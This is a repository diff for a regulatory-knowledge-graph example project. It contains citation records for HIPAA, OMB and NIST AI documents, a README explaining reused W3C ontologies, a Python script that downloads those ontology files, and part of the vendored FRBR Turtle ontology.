|
||||
{"id": "hipaa_technical_safeguards", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Technical Safeguards",
|
||||
"citation": "45 CFR 164.312", "text": "Technical safeguards"},
|
||||
{"id": "hipaa_general_rules", "doc": "hipaa_45cfr164_subpart_c", "sector": "Healthcare", "topic": "Technical Safeguards",
|
||||
"citation": "45 CFR 164.306", "text": "Ensure the confidentiality, integrity, and availability of all electronic protected health information"},
|
||||
{"id": "sp80066_scope", "doc": "nist_sp800-66r2", "sector": "Healthcare", "topic": "Administrative Safeguards",
|
||||
"citation": "NIST SP 800-66r2", "text": "HIPAA Security Rule"},
|
||||
{"id": "eo14110_safety", "doc": "eo_14110", "sector": "Cross-sector", "topic": "Risk Classification",
|
||||
"citation": "Executive Order 14110", "text": "Safety and Security"},
|
||||
{"id": "eo14110_privacy", "doc": "eo_14110", "sector": "Cross-sector", "topic": "Transparency",
|
||||
"citation": "Executive Order 14110", "text": "Privacy"},
|
||||
{"id": "omb_transparency", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Transparency",
|
||||
"citation": "OMB Memorandum M-24-10 Section 3", "text": "Transparency"},
|
||||
{"id": "omb_rights_impacting", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Rights-Impacting AI",
|
||||
"citation": "OMB Memorandum M-24-10 Section 5(b)", "text": "rights-impacting"},
|
||||
{"id": "omb_safety_impacting", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Safety-Impacting AI",
|
||||
"citation": "OMB Memorandum M-24-10 Section 5(b)", "text": "safety-impacting"},
|
||||
{"id": "omb_caio", "doc": "omb_m24-10", "sector": "Cross-sector", "topic": "Chief AI Officer",
|
||||
"citation": "OMB Memorandum M-24-10 Section 4", "text": "Chief AI Officer"},
|
||||
{"id": "airmf_govern", "doc": "nist_ai_rmf_1.0", "sector": "Cross-sector", "topic": "Govern (AI RMF)",
|
||||
"citation": "NIST AI 100-1 (AI RMF 1.0), Govern Function", "text": "GOVERN"},
|
||||
{"id": "airmf_map", "doc": "nist_ai_rmf_1.0", "sector": "Cross-sector", "topic": "Map",
|
||||
"citation": "NIST AI 100-1 (AI RMF 1.0), Map Function", "text": "MAP"},
|
||||
{"id": "ai600_content_provenance", "doc": "nist_ai_600-1", "sector": "Cross-sector", "topic": "Content Provenance",
|
||||
"citation": "NIST AI 600-1", "text": "Content Provenance"},
|
||||
{"id": "ai600_confabulation", "doc": "nist_ai_600-1", "sector": "Cross-sector", "topic": "Confabulation",
|
||||
"citation": "NIST AI 600-1", "text": "confabulation"},
|
||||
{"id": "fed_caio", "doc": "fed_compliance_m24-10", "sector": "Financial Services", "topic": "Chief AI Officer",
|
||||
"citation": "Federal Reserve Compliance Plan for OMB M-24-10", "text": "CAIO"},
|
||||
{"id": "fed_financial", "doc": "fed_compliance_m24-10", "sector": "Financial Services", "topic": "Risk Classification",
|
||||
"citation": "Federal Reserve Compliance Plan for OMB M-24-10", "text": "Financial"}
|
||||
]
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,29 @@
|
||||
# Ontology
|
||||
|
||||
Six real, external ontologies are vendored byte-for-byte, with content preserved exactly as fetched and a small header comment recording the source URL and retrieval date. Nothing here is invented. Two small hand-authored files add just enough domain schema to connect them. They are schema, not data, and every term in them is grounded in text that actually appears in the 9 real documents under `../data/raw/`.
|
||||
|
||||
Run `python download_ontologies.py` to fetch the six external files into `external/`.
|
||||
|
||||
## Vendored real ontologies (`external/`)
|
||||
|
||||
| File | Ontology | Source | Used for |
|
||||
|---|---|---|---|
|
||||
| `org.ttl` | W3C Organization Ontology (ORG) | [w3.org/ns/org.ttl](https://www.w3.org/ns/org.ttl) | Modeling NIST, OMB, HHS, and the Fed as `org:Organization`; entity resolution |
|
||||
| `prov-o.ttl` | W3C PROV-O | [w3.org/ns/prov.ttl](https://www.w3.org/ns/prov.ttl) | Provenance: every requirement clause traces back to its real source document |
|
||||
| `skos-core.rdf` | W3C SKOS Core | [w3.org/2009/08/skos-reference/skos.rdf](https://www.w3.org/2009/08/skos-reference/skos.rdf) | The controlled vocabulary in `skos/regulatory_taxonomy.ttl` |
|
||||
| `dcat.ttl` | W3C DCAT | [w3.org/ns/dcat.ttl](https://www.w3.org/ns/dcat.ttl) | Cataloging each ingested document as a `dcat:Dataset` with its real source URL |
|
||||
| `time.ttl` | W3C OWL-Time | [w3.org/2006/time](https://www.w3.org/2006/time) (content-negotiated Turtle) | Modeling each requirement's effective and validity window as a formal `time:Interval` |
|
||||
| `frbr.ttl` | FRBR Core (SPAR OWL 2 DL edition) | [sparontologies.github.io](https://sparontologies.github.io/frbr/current/frbr.ttl) | Modeling "the NIST Cybersecurity Framework" and "the NIST AI RMF" as an `frbr:Work` with each version as an `frbr:Expression`, for the temporal-diff step |
|
||||
|
||||
**Note on formats**: `skos-core.rdf` is RDF/XML, not Turtle. No stable Turtle serialization of the canonical SKOS core vocabulary is served by W3C, so the official RDF/XML file is used instead (`OntologyIngestor` supports both). Every other file is genuine Turtle, confirmed by parsing each with `rdflib` before committing.
|
||||
|
||||
**A note on dead ends**: several "obvious" canonical URLs for these ontologies turned out to be broken or redirect-only when actually tested. For example, `w3.org/2004/02/skos/core.ttl` returns an HTML "300 Multiple Choices" page, not Turtle, and the original OWL-Time GitHub raw URL 404s. The URLs above are the ones that were interactively verified to return real, parseable RDF before being added to `download_ontologies.py`.
|
||||
|
||||
## Hand-authored schema extension
|
||||
|
||||
- **`regulatory_extension.ttl`**: adds `reg:Regulation` (a subclass of `dcat:Dataset` and `prov:Entity`), `reg:RequirementClause` (a subclass of `prov:Entity`), and `reg:Agency` (a subclass of `org:Organization`), plus properties (`issuedBy`, `hasRequirement`, `appliesToSector`, `supersedes`, `amends`, `implements`, `conflictsWith`, `effectiveInterval`, `sourceCitation`) that connect ingested documents to the vendored ontologies above rather than duplicating what they already model.
|
||||
- **`skos/regulatory_taxonomy.ttl`**: about 22 SKOS concepts. Every one is a term verified, by text-searching the real PDFs and XML before writing the file, to actually appear in a specific source document. `Govern`, `Identify`, `Protect`, `Detect`, `Respond`, and `Recover` are CSF 2.0's own six Function names. `Administrative Safeguards`, `Physical Safeguards`, `Technical Safeguards`, and `Organizational Requirements` are 45 CFR 164's own subsection headings. `Confabulation` and `Content Provenance` are NIST AI 600-1's own terms. Each concept's `skos:scopeNote` names its source.
|
||||
|
||||
## Why reuse instead of inventing
|
||||
|
||||
Every capability this use case demonstrates (organizations, provenance, taxonomy, dataset cataloging, temporal versioning) already has a mature, real W3C or W3C-affiliated ontology. Reusing them, rather than building bespoke equivalents, is both less work and a more honest demonstration of Semantica's ontology-alignment capabilities. `OntologyIngestor.ingest_ontology()` imports each file as-is, and `regulatory_extension.ttl` is intentionally the smallest possible bridge between them.
|
||||
@@ -0,0 +1,134 @@
|
||||
"""
|
||||
Vendors the real external ontologies used by the Regulatory Intelligence
|
||||
Platform use case, byte-for-byte (content), into external/. Each file is
|
||||
fetched directly from its official W3C (or W3C-affiliated) namespace/
|
||||
repository URL, verified interactively at implementation time: several
|
||||
"obvious" canonical URLs turned out to be dead links or HTML redirect pages,
|
||||
so every URL below is one that was actually confirmed to return real
|
||||
Turtle/RDF-XML content before being added here.
|
||||
|
||||
Run:
|
||||
python download_ontologies.py
|
||||
|
||||
Vendoring (rather than fetching at notebook run time) keeps the notebook
|
||||
runnable offline after first setup and avoids notebook failures caused by
|
||||
transient network issues.
|
||||
"""
|
||||
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
EXTERNAL_DIR = Path(__file__).parent / "external"
|
||||
|
||||
HEADERS_TURTLE = {
|
||||
"User-Agent": "Semantica-Cookbook/1.0 (+https://github.com/semantica-agi/semantica; educational use)",
|
||||
"Accept": "text/turtle, application/rdf+xml;q=0.9, */*;q=0.5",
|
||||
}
|
||||
|
||||
# Each entry: (filename, url, format, description)
|
||||
# format: "ttl" (Turtle) or "rdf" (RDF/XML): determines how the source
|
||||
# header comment is embedded without breaking parseability.
|
||||
ONTOLOGIES = [
|
||||
(
|
||||
"org.ttl",
|
||||
"https://www.w3.org/ns/org.ttl",
|
||||
"ttl",
|
||||
"W3C Organization Ontology (ORG)",
|
||||
),
|
||||
(
|
||||
"prov-o.ttl",
|
||||
"https://www.w3.org/ns/prov.ttl",
|
||||
"ttl",
|
||||
"W3C PROV-O: The PROV Ontology",
|
||||
),
|
||||
(
|
||||
"skos-core.rdf",
|
||||
"https://www.w3.org/2009/08/skos-reference/skos.rdf",
|
||||
"rdf",
|
||||
"W3C SKOS: Simple Knowledge Organization System, Core Vocabulary "
|
||||
"(no Turtle serialization is served at a stable URL; this is the "
|
||||
"official RDF/XML file, which OntologyIngestor also supports)",
|
||||
),
|
||||
(
|
||||
"dcat.ttl",
|
||||
"https://www.w3.org/ns/dcat.ttl",
|
||||
"ttl",
|
||||
"W3C DCAT: Data Catalog Vocabulary",
|
||||
),
|
||||
(
|
||||
"time.ttl",
|
||||
"https://www.w3.org/2006/time",
|
||||
"ttl",
|
||||
"W3C OWL-Time: Time Ontology in OWL (content-negotiated Turtle)",
|
||||
),
|
||||
(
|
||||
"frbr.ttl",
|
||||
"https://sparontologies.github.io/frbr/current/frbr.ttl",
|
||||
"ttl",
|
||||
"FRBR Core (SPAR OWL 2 DL edition): Functional Requirements for Bibliographic Records",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def _header_comment(url: str, description: str, fmt: str) -> str:
|
||||
retrieved = datetime.now(timezone.utc).isoformat()
|
||||
if fmt == "rdf":
|
||||
return (
|
||||
f"<!-- Vendored from {url}\n"
|
||||
f" Retrieved: {retrieved}\n"
|
||||
f" Description: {description}\n"
|
||||
f" License: see the publishing organization's terms (W3C Document License) -->\n"
|
||||
)
|
||||
return (
|
||||
f"# Vendored from {url}\n"
|
||||
f"# Retrieved: {retrieved}\n"
|
||||
f"# Description: {description}\n"
|
||||
f"# License: see the publishing organization's terms (W3C Document License / SPAR Ontologies)\n\n"
|
||||
)
|
||||
|
||||
|
||||
def download(filename: str, url: str, fmt: str, description: str) -> None:
|
||||
print(f"Fetching {description} ...")
|
||||
print(f" {url}")
|
||||
response = requests.get(url, headers=HEADERS_TURTLE, timeout=60, allow_redirects=True)
|
||||
response.raise_for_status()
|
||||
content = response.text
|
||||
|
||||
dest = EXTERNAL_DIR / filename
|
||||
header = _header_comment(url, description, fmt)
|
||||
|
||||
if fmt == "rdf" and content.lstrip().startswith("<?xml"):
|
||||
# XML declaration must stay the first thing in the document:
|
||||
# insert the header comment immediately after it instead of before.
|
||||
decl_end = content.index("?>") + 2
|
||||
content = content[:decl_end] + "\n" + header + content[decl_end:]
|
||||
else:
|
||||
content = header + content
|
||||
|
||||
# newline="" disables Windows newline translation: several of these
|
||||
# sources already use \r\n, and translating would double it to \r\r\n
|
||||
# and corrupt the file for rdflib's parser.
|
||||
dest.write_text(content, encoding="utf-8", newline="")
|
||||
|
||||
size_kb = len(content) / 1024
|
||||
print(f" -> saved {dest.name} ({size_kb:.1f} KB)")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
EXTERNAL_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
for filename, url, fmt, description in ONTOLOGIES:
|
||||
try:
|
||||
download(filename, url, fmt, description)
|
||||
except requests.RequestException as exc:
|
||||
print(f"ERROR: failed to fetch {url}: {exc}", file=sys.stderr)
|
||||
raise
|
||||
|
||||
print(f"\nVendored {len(ONTOLOGIES)} real ontology files to {EXTERNAL_DIR}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,820 @@
|
||||
# Vendored from https://sparontologies.github.io/frbr/current/frbr.ttl
|
||||
# Retrieved: 2026-08-04T17:52:32.391907+00:00
|
||||
# Description: FRBR Core (SPAR OWL 2 DL edition): Functional Requirements for Bibliographic Records
|
||||
# License: see the publishing organization's terms (W3C Document License / SPAR Ontologies)
|
||||
|
||||
@prefix : <http://purl.org/spar/frbr/> .
|
||||
@prefix core: <http://purl.org/vocab/frbr/core#> .
|
||||
@prefix dc: <http://purl.org/dc/elements/1.1/> .
|
||||
@prefix dcterms: <http://purl.org/dc/terms/> .
|
||||
@prefix owl: <http://www.w3.org/2002/07/owl#> .
|
||||
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
|
||||
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
|
||||
@prefix skos: <http://www.w3.org/2008/05/skos#> .
|
||||
@prefix swrl: <http://www.w3.org/2003/11/swrl#> .
|
||||
@prefix swrlb: <http://www.w3.org/2003/11/swrlb#> .
|
||||
@prefix xml: <http://www.w3.org/XML/1998/namespace> .
|
||||
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .
|
||||
|
||||
dc:contributor a owl:AnnotationProperty .
|
||||
|
||||
dc:creator a owl:AnnotationProperty .
|
||||
|
||||
dc:date a owl:AnnotationProperty .
|
||||
|
||||
dc:description a owl:AnnotationProperty .
|
||||
|
||||
dc:rights a owl:AnnotationProperty .
|
||||
|
||||
dc:title a owl:AnnotationProperty .
|
||||
|
||||
<http://purl.org/spar/frbr> a owl:Ontology ;
|
||||
dc:contributor "David Shotton" ;
|
||||
dc:creator "Paolo Ciccarese"^^xsd:string,
|
||||
"Silvio Peroni"^^xsd:string ;
|
||||
dc:date "2018-03-29" ;
|
||||
dc:description "This vocabulary is an expression in OWL 2 DL of the basic concepts and relations described in the IFLA report on the Functional Requirements for Bibliographic Records (FRBR), also described in Ian Davis's RDF vocabulary (http://vocab.org/frbr/core)."@en ;
|
||||
dc:rights "This work is distributed under a Creative Commons Attribution License (http://creativecommons.org/licenses/by/3.0/)."@en ;
|
||||
dc:title "Essential FRBR in OWL2 DL"@en ;
|
||||
rdfs:comment """The Essential FRBR in OWL2 DL Ontology (FRBR) is an expression in OWL 2 DL of the basic concepts and relations described in the IFLA report on the Functional Requirements for Bibliographic Records (FRBR), also described in Ian Davis's RDF vocabulary.
|
||||
|
||||
**URL:** http://purl.org/spar/frbr
|
||||
|
||||
**Creators**: [Paolo Ciccarese](http://orcid.org/0000-0002-5156-2703), [Silvio Peroni](http://orcid.org/0000-0003-0530-4305)
|
||||
|
||||
**Contributors:**: [David Shotton](http://orcid.org/0000-0001-5506-523X)
|
||||
|
||||
**License:** [Creative Commons Attribution 4.0 International](https://creativecommons.org/licenses/by/4.0/legalcode)
|
||||
|
||||
**Website:** http://www.sparontologies.net/ontologies/frbr"""^^xsd:string ;
|
||||
owl:priorVersion <http://purl.org/spar/frbr/2011-06-29> ;
|
||||
owl:versionIRI <http://purl.org/spar/frbr/2018-03-29> ;
|
||||
owl:versionInfo "1.0.1"^^xsd:string .
|
||||
|
||||
core:alternate a owl:ObjectProperty ;
|
||||
rdfs:label "has alternate"@en ;
|
||||
rdfs:comment """A manifestation having another one as alternate.
|
||||
|
||||
The alternate relationship involves manifestations that effectively serve as alternates for each other. The alternate relationship obtains, for example, when a publication, sound recording, video, etc. is issued in more than one format or when it is released simultaneously by different publishers in different countries."""@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:range core:Manifestation ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:alternateOf .
|
||||
|
||||
core:creator a owl:ObjectProperty ;
|
||||
rdfs:label "has creator"@en ;
|
||||
rdfs:comment "A work linked to its creator."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:creatorOf .
|
||||
|
||||
core:owner a owl:ObjectProperty ;
|
||||
rdfs:label "has owner"@en ;
|
||||
rdfs:comment "An item linked to its owner."@en ;
|
||||
rdfs:domain core:Item ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:ownerOf .
|
||||
|
||||
core:producer a owl:ObjectProperty ;
|
||||
rdfs:label "has producer"@en ;
|
||||
rdfs:comment "A manifestation linked to its prodecer."@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:producerOf .
|
||||
|
||||
core:realizer a owl:ObjectProperty ;
|
||||
rdfs:label "has realizer"@en ;
|
||||
rdfs:comment "An expression linked to its realizer."@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:subPropertyOf core:responsibleEntity ;
|
||||
owl:inverseOf core:realizerOf .
|
||||
|
||||
core:reconfiguration a owl:ObjectProperty ;
|
||||
rdfs:label "has reconfiguration"@en ;
|
||||
rdfs:comment """An item reconfigured in another one.
|
||||
|
||||
The reconfiguration relationship is one in which one or more items are changed in such a way that a new item or items result. Most commonly, an item of one manifestation is bound with an item of a different manifestation to make a new item. """@en ;
|
||||
rdfs:domain core:Item ;
|
||||
rdfs:range core:Item ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:reconfigurationOf .
|
||||
|
||||
core:reproduction a owl:ObjectProperty ;
|
||||
rdfs:label "has reproduction"@en ;
|
||||
rdfs:comment """A manifestation/item reproduced in another one.
|
||||
|
||||
A reproduction indicates the relationship as it would be drawn from the first manifestation/item in the relationship to the second manifestation/item in the relationship."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Item core:Manifestation ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Item core:Manifestation ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:reproductionOf .
|
||||
|
||||
core:subject a owl:ObjectProperty ;
|
||||
rdfs:label "has subject"@en ;
|
||||
rdfs:comment "A work linked to a particular subject it is talking about."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:CorporateBody core:Endeavour core:Subject ) ] ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty ;
|
||||
owl:inverseOf core:subjectOf .
|
||||
|
||||
rdfs:comment a owl:AnnotationProperty .
|
||||
|
||||
rdfs:isDefinedBy a owl:AnnotationProperty .
|
||||
|
||||
rdfs:label a owl:AnnotationProperty .
|
||||
|
||||
skos:note a owl:AnnotationProperty ;
|
||||
rdfs:label "skos:note"@en ;
|
||||
rdfs:isDefinedBy skos: .
|
||||
|
||||
core:Concept a owl:Class ;
|
||||
rdfs:label "concept"@en ;
|
||||
rdfs:comment """An abstract notion or idea.
|
||||
|
||||
The entity defined as concept encompasses a comprehensive range of abstractions that may be the subject of a work: fields of knowledge, disciplines, schools of thought (philosophies, religions, political ideologies, etc.), theories, processes, techniques, practices, etc. A concept may be broad in nature or narrowly defined and precise. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:CorporateBody a owl:Class ;
|
||||
rdfs:label "corporate body"@en ;
|
||||
rdfs:comment """An organization or group of individuals and/or organizations acting as a unit.
|
||||
|
||||
The entity defined as corporate body encompasses organizations and groups of individuals and/or organizations that are identified by a particular name, including occasional groups and groups that are constituted as meetings, conferences, congresses, expeditions, exhibitions, festivals, fairs, etc."""@en ;
|
||||
rdfs:subClassOf core:ResponsibleEntity ;
|
||||
owl:disjointWith core:Person .
|
||||
|
||||
core:Event a owl:Class ;
|
||||
rdfs:label "event"@en ;
|
||||
rdfs:comment """An action or occurrence.
|
||||
|
||||
The entity defined as event encompasses a comprehensive range of actions and occurrences that may be the subject of a work: historical events, epochs, periods of time, etc. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:Object a owl:Class ;
|
||||
rdfs:label "object"@en ;
|
||||
rdfs:comment """A material thing.
|
||||
|
||||
The entity defined as object encompasses a comprehensive range of material things that may be the subject of a work: animate and inanimate objects occurring in nature; fixed, movable, and moving objects that are the product of human creation; objects that no longer exist. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:Person a owl:Class ;
|
||||
rdfs:label "person"@en ;
|
||||
rdfs:comment "An individual. The entity defined as person encompasses individuals that are deceased as well as those that are living."@en ;
|
||||
rdfs:subClassOf core:ResponsibleEntity .
|
||||
|
||||
core:Place a owl:Class ;
|
||||
rdfs:label "place"@en ;
|
||||
rdfs:comment """A location.
|
||||
|
||||
The entity defined as place encompasses a comprehensive range of locations: terrestrial and extra-terrestrial; historical and contemporary; geographic features and geo-political jurisdictions. """@en ;
|
||||
rdfs:subClassOf core:Subject .
|
||||
|
||||
core:abridgement a owl:ObjectProperty ;
|
||||
rdfs:label "has abridgement"@en ;
|
||||
rdfs:comment """An expression abridged in another one.
|
||||
|
||||
In the abridged expression some content of the previous expression is removed, but the result does not alter the content to the extent that it becomes a new work. The expressions resulting from such modification are generally autonomous in nature (i.e., they do not normally require reference to the prior expression in order to be used or understood). """@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:abridgementOf .
|
||||
|
||||
core:abridgementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is abridgement of"@en ;
|
||||
rdfs:comment "It identifies the entire expression of an abridged one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:adaption a owl:ObjectProperty ;
|
||||
rdfs:label "has adaption"@en ;
|
||||
rdfs:comment """A work/expression adapted in another one.
|
||||
|
||||
This property describe the modification of an original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:adaptionOf .
|
||||
|
||||
core:adaptionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is adaption of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of an adapted one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:alternateOf a owl:ObjectProperty ;
|
||||
rdfs:label "is alternate of"@en ;
|
||||
rdfs:comment "It identifies the manifestation of an alternative one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:arrangement a owl:ObjectProperty ;
|
||||
rdfs:label "has arrangement"@en ;
|
||||
rdfs:comment """An expression arranged in another one.
|
||||
|
||||
In the arranged expression some content of the previous expression is changed in some way, but the result does not alter the content to the extent that it becomes a new work. The expressions resulting from such modification are generally autonomous in nature (i.e., they do not normally require reference to the prior expression in order to be used or understood)."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:arrangementOf .
|
||||
|
||||
core:arrangementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is arrangement of"@en ;
|
||||
rdfs:comment "It identifies the original expression of an arranged one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:complement a owl:ObjectProperty ;
|
||||
rdfs:label "has complement"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as complement.
|
||||
|
||||
This property describes works that are intended to be combined with or inserted into the related work. In other words, they are intended to be integrated in some way with the other work, but were not part of the original conception of that prior work. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:complementOf .
|
||||
|
||||
core:complementOf a owl:ObjectProperty ;
|
||||
rdfs:label "is complement of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of that is a complement of another one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:creatorOf a owl:ObjectProperty ;
|
||||
rdfs:label "is creator of"@en ;
|
||||
rdfs:comment "The creator of a particular work."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:embodiment a owl:ObjectProperty ;
|
||||
rdfs:label "has embodiment"@en ;
|
||||
rdfs:comment "An expression embodied in a manifestation."@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Manifestation ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:embodimentOf .
|
||||
|
||||
core:exemplar a owl:ObjectProperty ;
|
||||
rdfs:label "has exemplar"@en ;
|
||||
rdfs:comment "A manifestation exemplified in an item."@en ;
|
||||
rdfs:domain core:Manifestation ;
|
||||
rdfs:range core:Item ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:exemplarOf .
|
||||
|
||||
core:imitation a owl:ObjectProperty ;
|
||||
rdfs:label "has imitation"@en ;
|
||||
rdfs:comment """An work/expression imitated in another one.
|
||||
|
||||
This property describes works that are intended to be an imitation another original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:imitationOf .
|
||||
|
||||
core:imitationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is imitation of"@en ;
|
||||
rdfs:comment "It identifies the work/expression of an imitated one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:ownerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is owner of"@en ;
|
||||
rdfs:comment "The owner of a particular item."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:producerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is producer of"@en ;
|
||||
rdfs:comment "The producer of a particular manifestation."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:realization a owl:ObjectProperty ;
|
||||
rdfs:label "has realization"@en ;
|
||||
rdfs:comment "A work realized through an expression."@en ;
|
||||
rdfs:domain core:Work ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:realizationOf .
|
||||
|
||||
core:realizerOf a owl:ObjectProperty ;
|
||||
rdfs:label "is realizer of"@en ;
|
||||
rdfs:comment "The realizer of a particular expression."@en ;
|
||||
rdfs:subPropertyOf core:responsibleEntityOf .
|
||||
|
||||
core:reconfigurationOf a owl:ObjectProperty ;
|
||||
rdfs:label "is reconfiguration of"@en ;
|
||||
rdfs:comment "It identifies the manifestation of a reconfigured one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:reproductionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is reproduction of"@en ;
|
||||
rdfs:comment "It identifies the manifestation/item of a reproduced one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:revision a owl:ObjectProperty ;
|
||||
rdfs:label "has revision"@en ;
|
||||
rdfs:comment """An expression revised in another one.
|
||||
|
||||
A revision has the intent to alter or update the content of the prior expression, but without changing the content so much that it becomes a new work."""@en ;
|
||||
rdfs:domain core:Expression ;
|
||||
rdfs:range core:Expression ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:revisionOf .
|
||||
|
||||
core:revisionOf a owl:ObjectProperty ;
|
||||
rdfs:label "is revision of"@en ;
|
||||
rdfs:comment "It identifies the previous expression of a revised one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:subjectOf a owl:ObjectProperty ;
|
||||
rdfs:label "is subject of"@en ;
|
||||
rdfs:comment "A subject a work talks abbout."@en ;
|
||||
rdfs:subPropertyOf owl:topObjectProperty .
|
||||
|
||||
core:successor a owl:ObjectProperty ;
|
||||
rdfs:label "has successor"@en ;
|
||||
rdfs:comment """An expression work/expression having another one as successor.
|
||||
|
||||
The successor type of relationship involves a kind of linear progression of content from one work/expression to the other. In some cases, the content of the successor may be closely connected to the content of the preceding work, which would result in a work that is referential. In others, such as with loosely connected parts of a trilogy, the successor will be autonomous. Serial publications that result from the merger or split of their predecessors and stand on their own without requiring reference to the predecessor are also examples of autonomous works that fall within the successor relationship type. If there exists a relation of this kind among two different expressions, then they always refer to different works."""@en ;
|
||||
rdfs:domain [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:range [ a owl:Class ;
|
||||
owl:unionOf ( core:Expression core:Work ) ] ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour ;
|
||||
owl:inverseOf core:successorOf .
|
||||
|
||||
core:successorOf a owl:ObjectProperty ;
|
||||
rdfs:label "is successor of"@en ;
|
||||
rdfs:comment "It identifies the previous work/expression of a succeeded one."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:summarization a owl:ObjectProperty ;
|
||||
rdfs:label "has summarization"@en ;
|
||||
rdfs:comment """A work/expression summarized in another one.
|
||||
|
||||
This property describe the summarization of an original work that is sufficient in degree to warrant their being considered as new works, rather than simply different expressions of the same work. If there exists a relation of this kind among two different expressions, they always refer to different works."""@en ;
|
||||
